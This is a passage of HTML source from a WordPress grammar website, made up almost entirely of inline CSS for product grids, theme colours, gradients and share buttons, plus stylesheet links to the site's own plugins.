n-fade-up:nth-child(20n){-webkit-animation-delay:.5s;animation-delay:.5s}.sc-product-item-link,a.sc-product-item-link{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:block;height:100%;text-decoration:none!important}.sc-product-item-link:hover,a.sc-product-item-link:hover{color:inherit}.sc-product-item-link:focus:not(:focus-visible),a.sc-product-item-link:focus:not(:focus-visible){outline:none}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@media(prefers-reduced-motion){.sc-product-item{-webkit-animation-name:none;animation-name:none;opacity:1}}@media(max-width:480px){.wp-block-surecart-product-template{-ms-grid-columns:1fr!important;grid-template-columns:1fr!important}}@media(min-width:480px)and (max-width:768px){.wp-block-surecart-product-template.sc-product-template-columns-10,.wp-block-surecart-product-template.sc-product-template-columns-11,.wp-block-surecart-product-template.sc-product-template-columns-12,.wp-block-surecart-product-template.sc-product-template-columns-13,.wp-block-surecart-product-template.sc-product-template-columns-14,.wp-block-surecart-product-template.sc-product-template-columns-15,.wp-block-surecart-product-template.sc-product-template-columns-16,.wp-block-surecart-product-template.sc-product-template-columns-4,.wp-block-surecart-product-template.sc-product-template-columns-5,.wp-block-surecart-product-template.sc-product-template-columns-6,.wp-block-surecart-product-template.sc-product-template-columns-7,.wp-block-surecart-product-template.sc-product-template-columns-8,.wp-block-surecart-product-template.sc-product-template-columns-9{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,1fr)}} 260
261/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-template/style-index.css */ 262</style> 263<style id="surecart-product-title-style-inline-css"> 264.wp-block-surecart-product-title{margin:0;width:100%}.wp-block-surecart-product-title a{color:var(--sc-cart-main-label-text-color);text-decoration:none} 265 266/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-title/style-index.css */ 267</style> 268 269<link data-minify="1" rel='stylesheet' id='spectra-pro-block-css-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/spectra-pro/dist/style-blocks.css?ver=1789058374' media='all' /> 270<link rel='stylesheet' id='sureforms-pro-signature-css' href='https://grammarist.com/wp-content/plugins/sureforms-pro/assets/css/minified/package/pro/signature.min.css?ver=2.12.7' media='all' /> 271<link data-minify="1" rel='stylesheet' id='convertkit-frontend-css' href='https://grammarist.com/wp-content/cache/background-css/1/grammarist.com/wp-content/cache/min/1/wp-content/plugins/convertkit/resources/frontend/css/frontend.css?ver=1789058374&wpr_t=1790182192' media='all' /> 272<style id="global-styles-inline-css"> 273:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--contrast: var(--contrast);--wp--preset--color--contrast-2: var(--contrast-2);--wp--preset--color--contrast-3: var(--contrast-3);--wp--preset--color--base: var(--base);--wp--preset--color--base-2: var(--base-2);--wp--preset--color--base-3: var(--base-3);--wp--preset--color--accent: var(--accent);--wp--preset--color--accent-hover: var(--accent-hover);--wp--preset--color--accent-2: var(--accent-2);--wp--preset--color--global-color-10: var(--global-color-10);--wp--preset--color--global-color-11: var(--global-color-11);--wp--preset--color--global-color-12: var(--global-color-12);--wp--preset--color--global-color-13: var(--global-color-13);--wp--preset--color--global-color-14: var(--global-color-14);--wp--preset--color--surecart: var(--sc-color-primary-500);--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
273--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:where(body) { margin: 0; }:where(.wp-site-blocks) > * { margin-block-start: 24px; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 24px; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 24px;}:root :where(.is-layout-grid){gap: 24px;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-contrast-color{color: var(--wp--preset--color--contrast) !important;}.has-contrast-2-color{color: var(--wp--preset--color--contrast-2) !important;}.has-contrast-3-color{color: var(--wp--preset--color--contrast-3) !important;}.has-base-color{color: var(--wp--preset--color--base) !important;}.has-base-2-color{color: var(--wp--preset--color--base-2) !important;}.has-base-3-color{color: var(--wp--preset--color--base-3) !important;}.has-accent-color{color: var(--wp--preset--color--accent) !important;}.has-accent-hover-color{color: var(--wp--preset--color--accent-hover) !important;}.has-accent-2-color{color: var(--wp--preset--color--accent-2) !important;}.has-global-color-10-color{color: var(--wp--preset--color--global-color-10) !important;}.has-global-color-11-color{color: var(--wp--preset--color--global-color-11) !important;}.has-global-color-12-color{color: var(--wp--preset--color--global-color-12) !important;}.has-global-color-13-color{color: var(--wp--preset--color--global-color-13) !important;}.has-global-color-14-color{color: var(--wp--preset--color--global-color-14) !important;}.has-surecart-color{color: var(--wp--preset--color--surecart) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-contrast-background-color{background-color: var(--wp--preset--color--contrast) !important;}.has-contrast-2-background-color{background-color: var(--wp--preset--color--contrast-2) !important;}.has-contrast-3-background-color{background-color: var(--wp--preset--color--contrast-3) !important;}.has-base-background-color{background-color: var(--wp--preset--color--base) !important;}.has-base-2-background-color{background-color: var(--wp--preset--color--base-2) !important;}.has-base-3-background-color{background-color: var(--wp--preset--color--base-3) !important;}.has-accent-background-color{background-color: var(--wp--preset--color--accent) !important;}.has-accent-hover-background-color{background-color: var(--wp--preset--color--accent-hover) !important;}.has-accent-2-background-color{background-color: var(--wp--preset--color--accent-2) !important;}.has-global-color-10-background-color{background-color: var(--wp--preset--color--global-color-10) !important;}.has-global-color-11-background-color{background-color: var(--wp--preset--color--global-color-11) !important;}.has-global-color-12-background-color{background-color: var(--wp--preset--color--global-color-12) !important;}.has-global-color-13-background-color{background-color: var(--wp--preset--color--global-color-13) !important;}.has-global-color-14-background-color{background-color: var(--wp--preset--color--global-color-14) !important;}.has-surecart-background-color{background-color: var(--wp--preset--color--surecart) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-contrast-border-color{border-color: var(--wp--preset--color--contrast) !important;}.has-contrast-2-border-color{border-color: var(--wp--preset--color--contrast-2) !important;}.has-contrast-3-border-color{border-color: var(--wp--preset--color--contrast-3) !important;}.has-base-border-color{border-color: var(--wp--preset--color--base) !important;}.has-base-2-border-color{border-color: var(--wp--preset--color--base-2) !important;}.has-base-3-border-color{border-color: var(--wp--preset--color--base-3) !important;}.has-accent-border-color{border-color: var(--wp--preset--color--accent) !important;}.has-accent-hover-border-color{border-color: var(--wp--preset--color--accent-hover) !important;}.has-accent-2-border-color{border-color: var(--wp--preset--color--accent-2) !important;}.has-global-color-10-border-color{border-color: var(--wp--preset--color--global-color-10) !important;}.has-global-color-11-border-color{border-color: var(--wp--preset--color--global-color-11) !important;}.has-global-color-12-border-color{border-color: var(--wp--preset--color--global-color-12) !important;}.has-global-color-13-border-color{border-color: var(--wp--preset--color--global-color-13) !important;}.has-global-color-14-border-color{border-color: var(--wp--preset--color--global-color-14) !important;}.has-surecart-border-color{border-color: var(--wp--preset--color--surecart) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
273.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;} 274/*# sourceURL=global-styles-inline-css */ 275</style> 276 277<link data-minify="1" rel='stylesheet' id='dpsp-frontend-style-pro-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/social-pug/assets/dist/style-frontend-pro.css?ver=1789058374' media='all' /> 278<style id="dpsp-frontend-style-pro-inline-css"> 279 280 @media screen and ( max-width : 720px ) { 281 .dpsp-content-wrapper.dpsp-hide-on-mobile, 282 .dpsp-share-text.dpsp-hide-on-mobile, 283 .dpsp-content-wrapper .dpsp-network-label { 284 display: none; 285 } 286 .dpsp-has-spacing .dpsp-networks-btns-wrapper li { 287 margin:0 2% 10px 0; 288 } 289 .dpsp-network-btn.dpsp-has-label:not(.dpsp-has-count) { 290 max-height: 40px; 291 padding: 0; 292 justify-content: center; 293 } 294 .dpsp-content-wrapper.dpsp-size-small .dpsp-network-btn.dpsp-has-label:not(.dpsp-has-count){ 295 max-height: 32px; 296 } 297 .dpsp-content-wrapper.dpsp-size-large .dpsp-network-btn.dpsp-has-label:not(.dpsp-has-count){ 298 max-height: 46px; 299 } 300 } 301 302 .dpsp-button-style-5 .dpsp-networks-btns-content.dpsp-networks-btns-wrapper .dpsp-network-btn:hover, 303 .dpsp-button-style-5 .dpsp-networks-btns-content.dpsp-networks-btns-wrapper .dpsp-network-btn:focus { 304 border-color: #9898b1; 305 background: #9898b1; 306 } 307 .dpsp-networks-btns-wrapper.dpsp-networks-btns-content .dpsp-network-btn {--networkHover: rgba(152, 152, 177, 0.4); --networkAccent: rgba(152, 152, 177, 1);} 308 @media screen and ( max-width : 720px ) { 309 aside#dpsp-floating-sidebar.dpsp-hide-on-mobile.opened { 310 display: none; 311 } 312 } 313 314 .dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn { 315 --customNetworkColor: #9898b1; 316 --customNetworkHoverColor: #9898b1; 317 background: #9898b1; 318 border-color: #9898b1; 319 } 320 .dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn:hover, 321 .dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn:focus { 322 border-color: #9898b1 !important; 323 background: #9898b1 !important; 324 }.dpsp-networks-btns-wrapper.dpsp-networks-btns-sidebar .dpsp-network-btn {--networkHover: rgba(152, 152, 177, 0.4); --networkAccent: rgba(152, 152, 177, 1);} 325 @media screen and ( max-width : 720px ) { 326 aside#dpsp-floating-sidebar.dpsp-hide-on-mobile.opened { 327 display: none; 328 } 329 } 330 331 .dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn { 332 --customNetworkColor: #9898b1; 333 --customNetworkHoverColor: #9898b1; 334 background: #9898b1; 335 border-color: #9898b1; 336 } 337 .dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn:hover, 338 .dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn:focus { 339 border-color: #9898b1 !important; 340 background: #9898b1 !important; 341 }.dpsp-networks-btns-wrapper.dpsp-networks-btns-sidebar .dpsp-network-btn {--networkHover: rgba(152, 152, 177, 0.4); --networkAccent: rgba(152, 152, 177, 1);} 342/*# sourceURL=dpsp-frontend-style-pro-inline-css */ 343</style> 344<link data-minify="1" rel='stylesheet' id='st-trigger-button-style-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/suretriggers/assets/css/st-trigger-button.css?ver=1789058374' media='all' /> 345<link rel='stylesheet' id='affwp-forms-css' href='https://grammarist.com/wp-content/plugins/affiliate-wp/assets/css/forms.min.css?ver=2.27.4' media='all' /> 346<link rel='stylesheet' id='learndash_quiz_front_css-css' href='//grammarist.com/wp-content/plugins/sfwd-lms/themes/legacy/templates/learndash_quiz_front.min.css?ver=5.2.0' media='all' /> 347<link data-minify="1" rel='stylesheet' id='dashicons-css' href='https://grammarist.com/wp-content/cache/min/1/wp-includes/css/dashicons.min.css?ver=1789058374' media='all' /> 348<link data-minify="1" rel='stylesheet' id='learndash-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/src/assets/dist/css/styles.css?ver=1789058374' media='all' /> 349<link rel='stylesheet' id='jquery-dropdown-css-css' href='//grammarist.com/wp-content/plugins/sfwd-lms/assets/css/jquery.dropdown.min.css?ver=5.2.0' media='all' /> 350<link rel='stylesheet' id='learndash_lesson_video-css' href='//grammarist.com/wp-content/plugins/sfwd-lms/themes/legacy/templates/learndash_lesson_video.min.css?ver=5.2.0' media='all' /> 351<link data-minify="1" rel='stylesheet' id='learndash-admin-bar-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/src/assets/dist/css/admin-bar/styles.css?ver=1789058374' media='all' /> 352<link data-minify="1" rel='stylesheet' id='learndash-course-grid-skin-grid-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/skins/grid/style.css?ver=1789058374' media='all' /> 353<link data-minify="1" rel='stylesheet' id='learndash-course-grid-pagination-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/pagination/style.css?ver=1789058374' media='all' /> 354<link data-minify="1" rel='stylesheet' id='learndash-course-grid-filter-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/filter/style.css?ver=1789058374' media='all' /> 355<link data-minify="1" rel='stylesheet' id='learndash-course-grid-card-grid-1-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/cards/grid-1/style.css?ver=1789058374' media='all' /> 356<link rel='stylesheet' id='dlm-frontend-css' href='https://grammarist.com/wp-content/cache/background-css/1/grammarist.com/wp-content/plugins/download-monitor/assets/css/frontend-tailwind.min.css?ver=5.2.9&wpr_t=1790182192' media='all' /> 357<link rel='stylesheet' id='generate-style-css' href='https://grammarist.com/wp-content/themes/generatepress/assets/css/main.min.css?ver=3.6.1' media='all' /> 358<style id="generate-style-inline-css"> 359body{background-color:var(--base-3);color:var(--contrast);}a{color:var(--contrast-3);}a:hover, a:focus, a:active{color:var(--contrast-3);}.grid-container{max-width:1500px;}.wp-block-group__inner-container{max-width:1500px;margin-left:auto;margin-right:auto;}.site-header .header-image{width:30px;}:root{--contrast:#141414;--contrast-2:#1b1b42;--contrast-3:#9898b1;--base:#e1e6ed;--base-2:#f2f5fa;--base-3:#ffffff;--accent:#482d70;--accent-hover:#5e3f8c;--accent-2:#192b80;--global-color-10:#4197e3;--global-color-11:#f63c76;--global-color-12:#42b99f;--global-color-13:#B19898;--global-color-14:#98B198;}:root .has-contrast-color{color:var(--contrast);}:root .has-contrast-background-color{background-color:var(--contrast);}:root .has-contrast-2-color{color:var(--contrast-2);}:root .has-contrast-2-background-color{background-color:var(--contrast-2);}:root .has-contrast-3-color{color:var(--contrast-3);}:root .has-contrast-3-background-color{background-color:var(--contrast-3);}:root .has-base-color{color:var(--base);}:root .has-base-background-color{background-color:var(--base);}:root .has-base-2-color{color:var(--base-2);}:root .has-base-2-background-color{background-color:var(--base-2);}:root .has-base-3-color{color:var(--base-3);}:root .has-base-3-background-color{background-color:var(--base-3);}:root .has-accent-color{color:var(--accent);}:root .has-accent-background-color{background-color:var(--accent);}:root .has-accent-hover-color{color:var(--accent-hover);}:root .has-accent-hover-background-color{background-color:var(--accent-hover);}:root .has-accent-2-color{color:var(--accent-2);}:root .has-accent-2-background-color{background-color:var(--accent-2);}:root .has-global-color-10-color{color:var(--global-color-10);}:root .has-global-color-10-background-color{background-color:var(--global-color-10);}:root .has-global-color-11-color{color:var(--global-color-11);}:root .has-global-color-11-background-color{background-color:var(--global-color-11);}:root .has-global-color-12-color{color:var(--global-color-12);}:root .has-global-color-12-background-color{background-color:var(--global-color-12);}:root .has-global-color-13-color{color:var(--global-color-13);}:root .has-global-color-13-background-color{background-color:var(--global-color-13);}:root .has-global-color-14-color{color:var(--global-color-14);}:root .has-global-color-14-background-color{background-color:var(--global-color-14);}.gp-modal:not(.gp-modal--open):not(.gp-modal--transition){display:none;}.gp-modal--transition:not(.gp-modal--open){pointer-events:none;}.gp-modal-overlay:not(.gp-modal-overlay--open):not(.gp-modal--transition){display:none;}.gp-modal__overlay{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.2);display:flex;justify-content:center;align-items:center;z-index:10000;backdrop-filter:blur(3px);transition:opacity 500ms ease;opacity:0;}.gp-modal--open:not(.gp-modal--transition) .gp-modal__overlay{opacity:1;}.gp-modal__container{max-width:100%;max-height:100vh;transform:scale(0.9);transition:transform 500ms ease;padding:0 10px;}.gp-modal--open:not(.gp-modal--transition) .gp-modal__container{transform:scale(1);}.search-modal-fields{display:flex;}.gp-search-modal .gp-modal__overlay{align-items:flex-start;padding-top:25vh;background:var(--gp-search-modal-overlay-bg-color);}.search-modal-form{width:500px;max-width:100%;background-color:var(--gp-search-modal-bg-color);color:var(--gp-search-modal-text-color);}.search-modal-form .search-field, .search-modal-form .search-field:focus{width:100%;height:60px;background-color:transparent;border:0;appearance:none;color:currentColor;}.search-modal-fields button, .search-modal-fields button:active, .search-modal-fields button:focus, .search-modal-fields button:hover{background-color:transparent;border:0;color:currentColor;width:60px;}body, button, input, select, textarea{font-family:Source Sans Pro, sans-serif;font-size:19px;}body{line-height:1.6;}.main-navigation a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items{font-weight:700;text-transform:uppercase;font-size:17px;}button:not(.menu-toggle),html input[type="button"],input[type="reset"],input[type="submit"],.button,.wp-block-button .wp-block-button__link{font-weight:600;font-size:19px;}h1{font-weight:700;font-size:40px;line-height:1.1;}h2{font-weight:600;font-size:28px;line-height:1.2;}h3{font-weight:600;font-size:24px;line-height:1.3;}h4{font-weight:600;font-size:21px;line-height:1.4;}.main-title{font-family:Bebas Neue, display;font-weight:bold;text-transform:uppercase;font-size:43px;letter-spacing:1px;}.top-bar{background-color:#636363;color:#ffffff;}.top-bar a{color:#ffffff;}.top-bar a:hover{color:#303030;}.site-header{background-color:var(--base-3);}.main-title a,.main-title a:hover{color:var(--contrast);}.site-description{color:var(--contrast-3);}.main-navigation .main-nav ul li a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items{color:var(--contrast);}.main-navigation .main-nav ul li:not([class*="current-menu-"]):hover > a, .main-navigation .main-nav ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul li.sfHover:not([class*="current-menu-"]) > a, .main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a{color:var(--global-color-12);}button.menu-toggle:hover,button.menu-toggle:focus{color:var(--contrast);}.main-navigation .main-nav ul li[class*="current-menu-"] > a{color:#4fd4b7;}.navigation-search input[type="search"],.navigation-search input[type="search"]:active, .navigation-search input[type="search"]:focus, .main-navigation .main-nav ul li.search-item.active > a, .main-navigation .menu-bar-items .search-item.active > a{color:var(--global-color-12);}.main-navigation ul ul{background-color:#e1e6ed;}.main-navigation .main-nav ul ul li a{color:#515151;}.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a,.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a{color:var(--global-color-12);}.main-navigation .main-nav ul ul li[class*="current-menu-"] > a{color:#7a8896;background-color:#e1e6ed;}.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .one-container .container, .separate-containers .paging-navigation, .inside-page-header{background-color:var(--base-3);}.entry-title a{color:var(--contrast);}.entry-title a:hover{color:var(--contrast);}.entry-meta{color:var(--contrast-2);}.sidebar .widget{background-color:rgba(242,245,250,0.4);}.footer-widgets{background-color:var(--base-3);}.site-info{background-color:var(--base-3);}input[type="text"],input[type="email"],input[type="url"],input[type="password"],input[type="search"],input[type="tel"],input[type="number"],textarea,select{color:var(--contrast);background-color:#ffffff;border-color:var(--base);}input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="number"]:focus,textarea:focus,select:focus{color:var(--contrast);background-color:#ffffff;border-color:var(--contrast-3);}button,html input[type="button"],input[type="reset"],input[type="submit"],a.button,a.wp-block-button__link:not(.has-background){color:var(--base-3);background-color:var(--global-color-12);}button:hover,html input[type="button"]:hover,input[type="reset"]:hover,input[type="submit"]:hover,a.button:hover,button:focus,html input[type="button"]:focus,input[type="reset"]:focus,input[type="submit"]:focus,a.button:focus,a.wp-block-button__link:not(.has-background):active,a.wp-block-button__link:not(.has-background):focus,a.wp-block-button__link:not(.has-background):hover{color:var(--base-3);background-color:var(--global-color-12);}a.generate-back-to-top{background-color:rgba( 0,0,0,0.4 );color:#ffffff;}a.generate-back-to-top:hover,a.generate-back-to-top:focus{background-color:rgba( 0,0,0,0.6 );color:#ffffff;}:root{--gp-search-modal-bg-color:var(--base-3);--gp-search-modal-text-color:var(--contrast);--gp-search-modal-overlay-bg-color:rgba(0,0,0,0.2);}@media (max-width: 1084px){.main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a{background:none;color:var(--contrast);}}.inside-header{padding:30px;}
